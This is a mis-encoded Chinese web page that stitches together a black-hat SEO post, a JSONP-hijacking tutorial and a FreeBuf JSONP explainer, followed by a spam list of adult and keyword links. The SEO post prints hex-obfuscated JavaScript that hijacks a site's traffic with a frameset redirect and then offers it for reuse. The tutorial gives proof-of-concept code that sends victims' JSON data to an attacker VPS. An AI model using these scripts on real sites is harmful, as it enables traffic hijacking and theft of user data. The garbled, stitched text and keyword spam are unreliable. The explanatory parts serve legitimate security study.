整合營(yíng)銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          關(guān)于劫持:JS劫持手法

          關(guān)于劫持:JS劫持手法

          說到黑帽什么的你們就非常的感興趣,那也沒辦法,畢竟黑帽神秘又厲害,一周就有效果。

          有關(guān)黑帽的具體操作網(wǎng)上少之又少,基本都標(biāo)題黨。

          剛好最近碰到一個(gè)群友在吹他的快排,就拿他的來做個(gè)講解。

          我看了他的網(wǎng)站,就只能看出JS劫持,其他我也不懂,就講講這個(gè)吧。

          暫時(shí)他有三個(gè)網(wǎng)站,指數(shù)5000左右的詞都排首頁前5位,大家先看看數(shù)據(jù)(提醒:拿別人的網(wǎng)站來分析,切勿放上網(wǎng)址及網(wǎng)站信息,斷人財(cái)路等于殺人放火)

          短時(shí)間內(nèi)有這樣的數(shù)據(jù),50%做了快排。

          這樣看快排的幾率90%了

          這里提醒下各位站長(zhǎng),快排來得快去得也快,這是鐵律。能給你幾個(gè)月的快感,百度一更新就難翻身,切記切記。

          但我個(gè)人比較向往黑帽,因?yàn)閰柡Π ?/p>

          看了他的網(wǎng)站代碼,里面都有一個(gè)奇怪的JS代碼

          window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']("\x3c\x73\x63\x72\x69\x70\x74 \x6c\x61\x6e\x67\x75\x61\x67\x65 \x3d

          \x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3e");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

          ("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65\x73\x65\x74 \x72\x6f\x77\x73\x3d\x27\x31\x30\x30\x25\x2c\x2a\x27

          \x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x27\x4e\x4f\x27 \x62\x6f\x72\x64\x65\x72\x3d\x27\x30\x27

          \x66\x72\x61\x6d\x65\x73\x70\x61\x63\x69\x6e\x67\x3d\x27\x30\x27\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

          ("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\"\x3c\x66\x72\x61\x6d\x65 \x6e\x61\x6d\x65\x3d\x27\x6d\x61\x69\x6e\x27

          \x73\x72\x63\x3d\x27\x68\x74\x74\x70\x3a\x2f\x2f\x77\x77\x77\x2e\u4f60\u7684\u7f51\u5740\x2e\x63\x6f\x6d\x27

          \x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\x79\x65\x73\x3e\"\x29\x3b");window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e']

          ('\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x22\x3c\x2f\x66\x72\x61\x6d\x65\x73\x65\x74\x3e\x22\x29\x3b');window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]

          ['\x77\x72\x69\x74\x65\x6c\x6e']("\x\x33\x63\x2f\x73\x63\x72\x69\x70\x74\x3e");

          是不是很奇怪

          其實(shí)這個(gè)是經(jīng)過加密的JS劫持代碼,經(jīng)常會(huì)出現(xiàn)在被黑的網(wǎng)站里面,劫持流量。

          解密后發(fā)現(xiàn)都是指向一個(gè)網(wǎng)站,我們?cè)倏纯茨莻€(gè)網(wǎng)站的數(shù)據(jù)

          能肯定這個(gè)估計(jì)就是主站了,手法就是通過快排一些網(wǎng)站上排位然后JS劫持流量到主站做排名。

          那肯定你們會(huì)問,為什么這么大費(fèi)周章不直接就去快排主站算了。

          因?yàn)橹髡静荒鼙籏,而快排站無所謂,說明一下,百度蜘蛛現(xiàn)在是不能識(shí)別JS代碼的,一旦懲罰,主站不會(huì)被牽連,

          而且這位朋友手法成熟,快排站與主站做的行業(yè)和關(guān)鍵詞都一致,一旦跳轉(zhuǎn),主站的流量來源都會(huì)是行業(yè)關(guān)鍵詞,想法很好。

          好了,點(diǎn)到為止,希望能給你們一點(diǎn)幫助,最后奉上JS代碼。

          document.writeln("<script language=javascript>");

          document.writeln("document.write(\"<frameset rows='100%,*' frameborder='NO' border='0' framespacing='0'>\");");

          document.writeln("document.write(\"<frame name='main' src='http://www.你的網(wǎng)址.com' scrolling=yes>\");");

          document.writeln('document.write("</frameset>");');

          document.writeln("\x3c/script>");

          熱點(diǎn)資訊

          SEO基本功:站內(nèi)優(yōu)化的一些基本手段

          SEO進(jìn)階必修課:如何創(chuàng)建和管理高質(zhì)量關(guān)鍵詞詞庫

          春風(fēng)十里,不如你

          初步感受jsonp

          1.1 jsonp

          JSONP 全稱是 JSON with Padding ,是基于 JSON 格式的為解決跨域請(qǐng)求資源而產(chǎn)生的解決方案。他實(shí)現(xiàn)的基本原理是利用了 HTML 里 <script></script> 元素標(biāo)簽,遠(yuǎn)程調(diào)用 JSON 文件來實(shí)現(xiàn)數(shù)據(jù)傳遞。如要在 a.com 域下獲取存在 b.com 的 JSON 數(shù)據(jù)( getUsers.JSON )。

          說白了就是一種跨域的json數(shù)據(jù)傳輸?shù)慕鉀Q方案。

          1.2 jsonp劫持攻擊

          由于jsonp允許跨域請(qǐng)求,并且允許前端可以在<script></script>中直接解析返回的json形式的跨域數(shù)據(jù),如果沒有做到合適的防御,攻擊者就可以做到j(luò)sonp劫持攻擊。

          Jsonp劫持攻擊時(shí)csrf攻擊的一種。csrf攻擊分csrf讀和csrf寫,jsonp劫持是csrf讀的一種具體攻擊形式。通常攻擊者通過這種形式可以讀取到受害者的敏感數(shù)據(jù)。

          可以看下wooyun鏡像,搜索jsonp可以查到大量案例。

          來看一個(gè)簡(jiǎn)單的例子感受一下。

          http://www.anquan.us/static/bugs/wooyun-2013-019969.html

          攻擊者在script標(biāo)簽中直接解析了跨域傳輸?shù)膉son敏感數(shù)據(jù)。alert出來了,當(dāng)然你也可以發(fā)出去做log記錄,總之js都解析到了啥不能干?

          1.3 jsonp防御

          既然是csrf攻擊的一種,還是和csrf防御一樣唄。referer/csrf_token/驗(yàn)證碼等機(jī)制。

          2 本地yy測(cè)試

          實(shí)踐出真知,動(dòng)手本地yy測(cè)試一下jsonp攻擊流程。

          2.1 理清思路

          測(cè)試的思路如下。

          1、js.html ————實(shí)際的劫持poc,實(shí)戰(zhàn)中放到黑客控制的vps上

          2、api.php ————模擬有漏洞的jsonp接口,在有漏洞的web服務(wù)器上

          3、logs.php ————黑客vps記錄劫持記錄的后端頁面

          2.2 環(huán)境準(zhǔn)備

          api.php

          模擬提供jsonp傳輸?shù)拿舾袛?shù)據(jù)的接口。

          接口訪問效果,輸出自己的cookie映射內(nèi)容。

          用js.html模擬攻擊者執(zhí)行的js來劫持jsonp

          這里轉(zhuǎn)發(fā)的ip也一樣,實(shí)戰(zhàn)是黑客自己的vps。

          logs.php

          2.3 整體走一個(gè)

          打開js.html,直接本地打開,模擬的動(dòng)作是受害者打開我vps上的csrfpoc

          第一個(gè)ajax請(qǐng)求,模擬csrf向服務(wù)器請(qǐng)求返回賬號(hào)敏感信息。

          第二個(gè)ajax請(qǐng)求,模擬vps的jspoc成功解析到敏感信息,并且做一個(gè)log記錄。(真實(shí)環(huán)境應(yīng)該在vps上做log記錄,這里為了方便和漏洞服務(wù)器同一個(gè)ip)

          服務(wù)端記錄。

          2.4 延伸

          如果返回的jsonp的json數(shù)組,不是一個(gè)json對(duì)象。

          可以用下標(biāo)直接取出。

          3 實(shí)戰(zhàn)jsonp劫持

          yy完了,看一個(gè)真實(shí)例子。

          這個(gè)請(qǐng)求包jsonp請(qǐng)求,內(nèi)容返回的是用戶的投訴記錄,無token,無驗(yàn)證referer,該請(qǐng)求可以被劫持!

          演示如下:

          在登錄賬號(hào)(已經(jīng)有投訴記錄的)的情況下

          凡訪問加載這個(gè)poc的頁面的用戶,他的投訴記錄都會(huì)被我直接劫持,并且做記錄

          4 劫持poc

          分享下我的poc,大家遇到簡(jiǎn)單的接口可以直接套用了。

          Script直接解析json

          <script>

          function hack(json){

          alert(JSON.stringify(json));//接下來可以做轉(zhuǎn)發(fā)記錄

          }

          </script>

          <script src=”http://127.0.0.1:8081/js.php?callback=hack”></script>

          $.getJSON

          <script type=”text/javascript” src=” http://www.w3school.com.cn/jquery/jquery-1.11.1.min.js “></script>

          <script type=”text/javascript”>

          $.getJSON(“http://vulweb.com/api/getMyFeedbackList?callback=?”, function(json){

          var data=JSON.stringify(json);

          //將data轉(zhuǎn)發(fā)記錄

          $.get(“http://vps.com/json/logs.php?mylogs=”+data,function(res,status){

          alert (‘ok’) ;

          });

          });

          </script>

          5 后記

          本菜雞對(duì)前端了解也不深,也是最近接觸的jsonp劫持,文中錯(cuò)誤難免,歡迎指正。

          常見的csrf數(shù)據(jù)劫持方法還有很多,例如因?yàn)閏rossadmin.xml配置不對(duì)導(dǎo)致的flash跨域劫持。以后遇到可以記錄學(xué)習(xí)一下。

          關(guān)于前端劫持還有很多玩法,本文只是做一個(gè)最簡(jiǎn)單的jsonp-api數(shù)據(jù)劫持,烏云鏡像上有很多是高端組合玩法的案例。

          么是 JSON

          • JSON指的是JavaScript對(duì)象表示法( ?JavaScript Object Notation)
          • JSON是輕量級(jí)的文本數(shù)據(jù)交換格式
          • JSON是存儲(chǔ)和交換文本信息的語法,類似XML
          • 但JSON比XML更小、更快、更易解析
          • C、Python、C++、Java、PHP、Go等編程語言都支持JSON

          幾乎所有編程語言都有解析JSON的庫,而在JavaScript中,我們可以直接使用JSON,因?yàn)镴avaScript內(nèi)置了JSON的解析。

          把任何JavaScript對(duì)象變成JSON,就是把這個(gè)對(duì)象序列化成一個(gè)JSON格式的字符串,這樣才能夠通過網(wǎng)絡(luò)傳遞給其他計(jì)算機(jī)。

          JSON 語法規(guī)則

          • 數(shù)據(jù)為 鍵/值 對(duì)(key:value)
          • 數(shù)據(jù)由逗號(hào)分隔
          • 方括號(hào)保存數(shù)組
          • 大括號(hào)保存對(duì)象
          var Deutsh={
              name: 'De4tsh',
              age: 66,
              height: 2.01,
              grade: null,
              skills: ['JavaScript', 'C', 'C++', 'Python'], // 數(shù)組
              like: {"sports":"football","eat":"pizza"}     // 對(duì)象
          };
          
          // 將 Deutsh 對(duì)象序列化為 JSON 格式字符串
          var deu=JSON.stringify(Deutsh); 
          console.log(deu);
          

          轉(zhuǎn)換得到的 JSON 格式的數(shù)據(jù)為:

          {"name":"De4tsh","age":66,"height":2.01,"grade":null,"skills":["JavaScript","C","C++","Python"],"like":{"sports":"football","eat":"pizza"}}
          

          JSONP

          CORS是推薦的方法,而不是JSONRequest。JSONP對(duì)于較舊的瀏覽器支持仍然有用,但考慮到安全隱患,除非您別無選擇,否則CORS是更好的選擇

          JSONP是JSON with padding(填充式JSON或參數(shù)式JSON)

          簡(jiǎn)單來說,JSON的一種”使用模式”,可以讓當(dāng)前網(wǎng)頁從別的域名(網(wǎng)站)那獲取資料,即跨域讀取數(shù)據(jù),而且JSONP算是一種非官方的技術(shù)手段 ( 官方的有CORS(之前在 SSTI 注入時(shí)提到過) 和postMessage)

          至于為什么跨域訪問別的域名的資源還要借助這種方式,原因在于有著:同源策略的限制:在Web瀏覽器中,允許某個(gè)網(wǎng)頁腳本訪問另一個(gè)網(wǎng)頁的數(shù)據(jù),但前提是這兩個(gè)網(wǎng)頁必須有相同的URI、主機(jī)名和端口號(hào),一旦兩個(gè)網(wǎng)站滿足上述條件,這兩個(gè)網(wǎng)站就被認(rèn)定為具有相同來源。此策略可防止某個(gè)網(wǎng)頁上的惡意腳本通過該頁面的文檔對(duì)象模型訪問另一網(wǎng)頁上的敏感數(shù)據(jù)(比如說 cookie )值得注意的是同源策略僅適用于腳本,這意味著某網(wǎng)站可以通過相應(yīng)的HTML標(biāo)簽訪問不同來源網(wǎng)站上的圖像、CSS和動(dòng)態(tài)加載腳本等資源。而跨站請(qǐng)求偽造就是利用同源策略不適用于HTML標(biāo)簽的缺陷。

          JSONP跨域請(qǐng)求的原理

          如上所述,JSONP正是利用了HTML中的<script>標(biāo)簽中src(該屬性用于規(guī)定外部腳本的 URL)屬性不受同源策略約束來跨域獲取數(shù)據(jù)的

          JSONP會(huì)動(dòng)態(tài)的創(chuàng)建<script>標(biāo)簽,然后通過其中的src屬性來跨域獲取數(shù)據(jù)

          JSONP 的組成

          JSONP由兩部分組成

          • 回調(diào)函數(shù)—callback
          • 數(shù)據(jù)——data

          簡(jiǎn)單來說整體流程為:

          當(dāng)我們?cè)L問一個(gè)網(wǎng)站時(shí),若該網(wǎng)站需要請(qǐng)求外部的資源,會(huì)通過動(dòng)態(tài)建立一個(gè)帶有src屬性的<script>標(biāo)簽,去訪問對(duì)應(yīng)要請(qǐng)求資源網(wǎng)站的JSONP接口(請(qǐng)求時(shí)提供位于本端的回調(diào)函數(shù)名稱),請(qǐng)求該接口后會(huì)返回所提供回調(diào)函數(shù)的調(diào)用,與該函數(shù)所需要的數(shù)據(jù),而該函數(shù)由當(dāng)前請(qǐng)求端所定義請(qǐng)求的(開發(fā)者根據(jù)請(qǐng)求資源的類型來定義好該回調(diào)函數(shù))

          JSONP 原理實(shí)驗(yàn)

          此處借用 菜鳥教程所提供一個(gè)JSONP接口來展示JSONP跨域請(qǐng)求的一個(gè)示例

          服務(wù)端所提供的 JSONP 接口

          jsonp.php

          <?php
          header('Content-type: application/json');
          //獲取回調(diào)函數(shù)名
          $jsoncallback=htmlspecialchars($_REQUEST ['jsoncallback']);
          //json數(shù)據(jù)
          $json_data='["customername1","customername2"]';
          //輸出jsonp格式的數(shù)據(jù)
          echo $jsoncallback . "(" . $json_data . ")";
          ?>
          

          這個(gè)也就是我們要請(qǐng)求的不是同源的數(shù)據(jù)所在的域

          https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction

          (該接口為菜鳥教程提供,大家若要做實(shí)驗(yàn)可直接使用)

          客戶端

          說是客戶端其實(shí)比較容易誤解,說白了就是一個(gè)要請(qǐng)求上述域中資源的非同源的里另一個(gè)域名,此處我們通過本地起python -m http.server 8080來搭建一個(gè)建議的本地網(wǎng)站,這個(gè)網(wǎng)站也就是作為用戶的 你/我 要訪問的網(wǎng)站,該網(wǎng)站的HTML為:

          demo.html

          <!DOCTYPE html>
          <html>
          <head>
          <meta charset="utf-8">
          <title>JSONP 實(shí)例</title>
          </head>
          <body>
          <div id="divCustomers"></div>
          <script type="text/javascript">
          function callbackFunction(result, methodName)
          {
              var html='<ul>';
              for(var i=0; i < result.length; i++)
              {
                  html +='<li>' + result[i] + '</li>';
              }
              html +='</ul>';
              document.getElementById('divCustomers').innerHTML=html;
          }
          </script>
          <script type="text/javascript" src="<https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction>"></script>
          </body>
          </html>
          

          注意看客戶端的HTML代碼中已生成用于訪問本域之外資源的帶有src屬性的<script>標(biāo)簽

          用戶訪問

          上述simplehttp的IP:PORT為http://172.16.12.150:8080

          作為用戶的我們?cè)L問該網(wǎng)站后則會(huì)顯示:

          http://172.16.12.150:8080/demo.html

          可以看到請(qǐng)求到了位于不同域(https://www.runoob.com)的jsonp.php中的數(shù)據(jù)["customername1","customername2"],并且該數(shù)據(jù)還經(jīng)過了位于http://172.16.12.150:8080HTML 中回調(diào)函數(shù)callbackFunction的處理后,返回到了用戶 “眼中”


          所以此時(shí)的邏輯就是我們?cè)L問了http://172.16.12.150:8080的網(wǎng)站,該網(wǎng)站需要獲取位于https://www.runoob.com中的數(shù)據(jù)(比如說本例子中的JSON數(shù)據(jù)),但由于這兩個(gè)網(wǎng)站處于不同域,所以無法直接通過javascript請(qǐng)求,所以通過<script>標(biāo)簽的src屬性請(qǐng)求了https://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction這個(gè)JSONP接口,至此或得到了JSON的數(shù)據(jù),并通過本網(wǎng)站(http://172.16.12.150:8080)的回調(diào)函數(shù),對(duì)或得到的數(shù)據(jù)進(jìn)行了個(gè)性化的處理,最終展示給用戶

          其實(shí)直接請(qǐng)求該JSONP接口也可以得到數(shù)據(jù),但該數(shù)據(jù)是沒有經(jīng)過本端回調(diào)函數(shù)處理的(而且還會(huì)被包在一個(gè)未定義的回調(diào)函數(shù)中)

          JSONP 劫持

          由上面的描述就可以很容易的發(fā)現(xiàn),若回調(diào)函數(shù)被控制,那么便可將請(qǐng)求到的數(shù)據(jù)通過該函數(shù)進(jìn)行任意的處理

          JSONP 劫持原理

          假設(shè)當(dāng)前有兩個(gè)網(wǎng)站:

          • 網(wǎng)站A由攻擊者自建立,包含惡意的JSONP回調(diào)函數(shù)以及向網(wǎng)站B發(fā)送請(qǐng)求的帶有src屬性的<script>標(biāo)簽
          • 網(wǎng)站B正常網(wǎng)站,用戶需要登錄該網(wǎng)站形式其功能,并且該帶有JSONP支持跨域請(qǐng)求

          所以整體的流程就是:

          1. 首先用戶會(huì)登錄網(wǎng)站B,網(wǎng)站B中包含了該登錄的基本信息(用戶ID、用戶名等),并且網(wǎng)站B還存在一個(gè)JSONP接口,用戶在訪問該網(wǎng)站的時(shí)候,該接口會(huì)返回用戶的信息
          2. 此時(shí)通過配合其他漏洞或誘導(dǎo)用戶來訪問網(wǎng)站A,此時(shí)包含著惡意回調(diào)函數(shù)以及src屬性的<script>標(biāo)簽的HTML頁面就會(huì)加載到用戶這邊
          3. 標(biāo)簽被觸發(fā),通過用戶的身份,向網(wǎng)站B的JSONP接口發(fā)送請(qǐng)求,便可以請(qǐng)求到B的基本信息的數(shù)據(jù)
          4. 然后再配合惡意的回調(diào)函數(shù),無論是將這些數(shù)據(jù)發(fā)回網(wǎng)站A,還是顯示出來都可以,自由發(fā)揮即可

          至此便完成了一個(gè)JSONP的劫持

          對(duì) JSONP劫持 的思考

          歸根結(jié)底,JSONP 可造成的危害并不是很大,因?yàn)槠湫枰獫M足的前提條件很多(比如:需要跨域、并且不能有token的校驗(yàn)),這也就是造成其很難自己一個(gè)人 “挑起大梁”,還需要配合其他的漏洞,或是釣魚等

          所以與其尋找挖該漏洞,不如將其用于蜜罐中

          參考文章

          What is JSONP, and why was it created?

          由淺入深理解JSONP并拓展

          201-A20-同源策略及相關(guān)漏洞

          JSONP 教程

          淺談Ajax跨域及其JSONP簡(jiǎn)單實(shí)現(xiàn)

          W3Schools online HTML editor

          申明:本文僅供技術(shù)交流,請(qǐng)自覺遵守網(wǎng)絡(luò)安全相關(guān)法律法規(guī),切勿利用文章內(nèi)的相關(guān)技術(shù)從事非法活動(dòng),如因此產(chǎn)生的一切不良后果與文章作者無關(guān)。

          本文作者:Deutsh,原文來自FreeBuf.COM


          主站蜘蛛池模板: 国产精品无码一区二区三区毛片| 视频一区视频二区在线观看| 午夜爽爽性刺激一区二区视频| 一区 二区 三区 中文字幕| 国产亚洲情侣一区二区无| 亚洲另类无码一区二区三区| 日本一区午夜艳熟免费| 无码午夜人妻一区二区不卡视频| 波多野结衣高清一区二区三区| 亚洲丰满熟女一区二区哦| 亚洲综合av永久无码精品一区二区 | 乱码人妻一区二区三区| 99精品高清视频一区二区| 亚洲一区二区三区四区视频| 成人国内精品久久久久一区 | 精品一区二区三区视频在线观看| 亚洲av乱码一区二区三区香蕉| 成人区精品一区二区不卡| 中文字幕国产一区| 亚洲国产av一区二区三区| 国产精品第一区揄拍无码| 欧美日韩一区二区成人午夜电影| 中文字幕一区二区三区久久网站 | 中文字幕精品亚洲无线码一区应用| 成人精品一区二区三区校园激情| 一区一区三区产品乱码| 日韩精品人妻一区二区三区四区| 亚洲熟妇无码一区二区三区导航| 国产精品福利一区二区| 99偷拍视频精品一区二区| 日韩免费无码一区二区视频| 日韩在线视频一区| 夜夜爽一区二区三区精品| 不卡一区二区在线| 91秒拍国产福利一区| 精品国产一区二区三区AV| 福利片免费一区二区三区| 伊人久久一区二区三区无码| 国产日韩精品一区二区在线观看播放 | 国产大秀视频一区二区三区 | 果冻传媒一区二区天美传媒|